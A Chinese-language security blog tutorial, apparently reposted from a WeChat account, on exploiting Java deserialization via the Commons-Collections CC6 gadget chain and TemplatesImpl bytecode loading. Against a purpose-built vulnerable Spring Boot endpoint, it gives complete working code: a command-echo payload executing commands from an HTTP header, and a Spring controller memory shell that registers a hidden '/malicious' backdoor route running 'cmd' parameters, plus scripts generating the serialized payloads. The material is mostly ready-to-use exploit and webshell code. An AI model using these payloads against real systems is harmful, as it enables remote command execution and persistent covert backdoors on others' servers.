书接上文,我们已经可以通过CC6利用链执行calc命令了。
下面就要改造下脚本使其不仅仅是弹计算器这么简单
defineClass
先给出最标准的defineClass
执行字节码的标准
新建一个类:
public class CmdCalc {
public CmdCalc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
然后将其编译成class,因为不需要依赖,直接javac
即可
javac CmdCalc.java
此处有一个坑需要注意就是IDEA新建的class会自动带上package名,所以在编译之前需要把package去掉。
将编译后的class进行base64编码并放入DefineClass模板中,直接执行main即相当于通过ClassLoader去执行CmdCalc类的CmdCalc方法
import java.lang.reflect.Method;
import java.util.Base64;
public class DefineClass {
public static void main(String[] args) throws Exception {
String className = "CmdCalc";
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte [] bs = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEADENtZENhbGMuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBAAdDbWRDYWxjAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAAwAEAAQADQAFAAsAAAAEAAEADAABAA0AAAACAA4=");
Class clazz = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), className, bs, 0, bs.length);
try {
Object obj = clazz.newInstance();
} catch (Exception e) {
Class.forName(className).newInstance();
}
}
}
TemplatesImpl
前一篇文章的cc6链利用脚本在transformers
数组中放的是InvokerTransformer
类,是为了利用这个类自带的getClass
、getMethod
和invoke
方法
这个类显然对于我们执行任意命令不够灵活,因为在实际场景中,defineClass
方法的作用域是不开放的很难直接利用,所以现在要找一个能外部调用的类且包含ClassLoader.defineClass
方法能执行我们自定义的类
目标是调用最终的ClassLoader.defineClass
方法:
刚好在com.sun.org.apache.xalan.internal.xsltc.trax
包中找到TemplatesImpl
类能满足我的需求
可以看到在TransletClassLoader
中definedClass
调用了此方法
再往上TemplatesImpl
的defineTransletClasses
方法调用了defineClass
方法
再往上TemplatesImpl
的getTransletInstance
方法调用了defineTransletClasses
再往上TemplatesImpl
的newTransformer
方法,此方式是public,在外面可以直接调用了
因此得到了一条利用链:
TemplatesImpl->newTransformer()
TemplatesImpl->getTransletInstance()
TemplatesImpl->defineTransletClasses()
TemplatesImpl->defineClass()
ClassLoader->defineClass()
通过单步调试发现要想不进入异常正常触发,_tfactory
必须为TransformerFactoryImpl
对象,且TemplatesImpl
中字节码对应的类必须是runtime.AbstractTranslet
子类
编写TemplatesImpl代码并与CC6链子结合
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesImplCmdCalc extends AbstractTranslet {
public TemplatesImplCmdCalc() throws Exception {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
通过javac
将其编译为字节码.class文件
改写CC6链子transformers的参数,使其读取TemplatesImplCmdCalc.class
的字节码并加载
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6TemplatesImpl {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InstantiationException {
FileInputStream inputFromFile = new FileInputStream("D:\code\javaProject\unserialize_test\src\main\java\com\kuang\TemplatesImplCmdCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
//反射修改
TemplatesImpl obj = TemplatesImpl.class.newInstance();
Field bytecodes = obj.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(obj, new byte[][]{bs});
Field name = obj.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(obj, "TemplatesImpl");
Field _class = obj.getClass().getDeclaredField("_tfactory");
_class.setAccessible(true);
_class.set(obj, new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
// Runtime.getRuntime().exec('calc');
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("2");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, chainedTransformer);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(hashMap);
String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
//System.out.println(base64);
System.out.println(base64.replace("+", "%2B"));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(out.toByteArray()));
ois.readObject();
// serial(hashMap);
// unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
in.readObject();
}
}
执行CC6TemplatesImpl即相当于执行字节码,即Runtime.getRuntime().exec("calc");
搭建测试环境靶场
新建一个springboot项目,maven里加上commons-collections 3.2.1
新建一个有漏洞的controller:
@Controller
public class ReadController {
@RequestMapping({"/read"})
@ResponseBody
public String getObject(String obj) throws Exception {
byte[] Bytes = Tools.base64Decode(obj);
Object Object = Tools.deserialize(Bytes);
return Object.toString();
}
}
前端上送一个obj参数,先解base64再readObject(),由于引用了旧版本的cc链,所以存在反序列化安全问题。
public class Tools {
public static byte[] base64Decode(String base64) {
Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
实战演示
打回显马
修改TemplatesImpl类,扩展其功能,使其不只有弹计算器的代码。
通过获取ServletRequest
属性的内容,解析其中header中变量为C
的值,调用cmd.exe
或/bin/sh
执行命令,最后将命令的回显写入Servlet的Response中即可通过Web查看命令执行的结果了。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class SpringEcho extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("C")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("C")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
修改CC6链子加载的class字节码文件路径
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC6WithSpringEchoTemplates {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("D:\code\javaProject\JavaDeserialization\src\main\CC6\src\main\java\SpringEcho.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"TemplatesImpl");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//
// //查看构造函数,传入的key和value
HashMap<Object, Object> map1 = new HashMap<>();
//map的固定语法,必须要put进去,这里的put会将链子连起来,触发命令执行
map1.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(map1);
String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
// System.out.println(base64);
System.out.println(base64.replace("+", "%2B"));
serialize(map1);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}
执行即可获得序列化后的内容
启动靶场通过read接口传入obj参数触发反序列化,继而通过header中C
参数获取命令,造成命令执行和结果回显。
打内存马
根据靶场的spring版本,找到一个spring2.x的内存马,通过在RequestMappingHandler中注册一条新的路由添加后门malicious接口,该接口通过接收cmd参数造成命令执行和回显。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
* 因此比 SpringControllerMemShell.java 更加通用
* Springboot 1.x 和 3.x 版本未进行测试
*/
@Controller
public class SpringControllerMemShell3 extends AbstractTranslet {
public SpringControllerMemShell3() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = SpringControllerMemShell3.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class);
getMappingForMethod.setAccessible(true);
RequestMappingInfo info =
(RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);
SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public SpringControllerMemShell3(String aaa) {
}
@RequestMapping("/malicious")
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
}
修改CC6的字节码加载地址使其序列化该内存马
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC6WithMemShell {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("D:\code\javaProject\JavaDeserialization\src\main\CC6\src\main\java\SpringControllerMemShell3.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"TemplatesImpl");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//
// //查看构造函数,传入的key和value
HashMap<Object, Object> map1 = new HashMap<>();
//map的固定语法,必须要put进去,这里的put会将链子连起来,触发命令执行
map1.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(map1);
String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
// System.out.println(base64);
System.out.println(base64.replace("+", "%2B"));
serialize(map1);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}
执行该脚本使其生成序列化内容,并通过靶场给出的/read
接口触发反序列化并添加内存马路由
继而通过添加的malicious路由
造成命令执行
原文始发于微信公众号(智佳网络安全):【JAVA安全】CC6反序列化利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论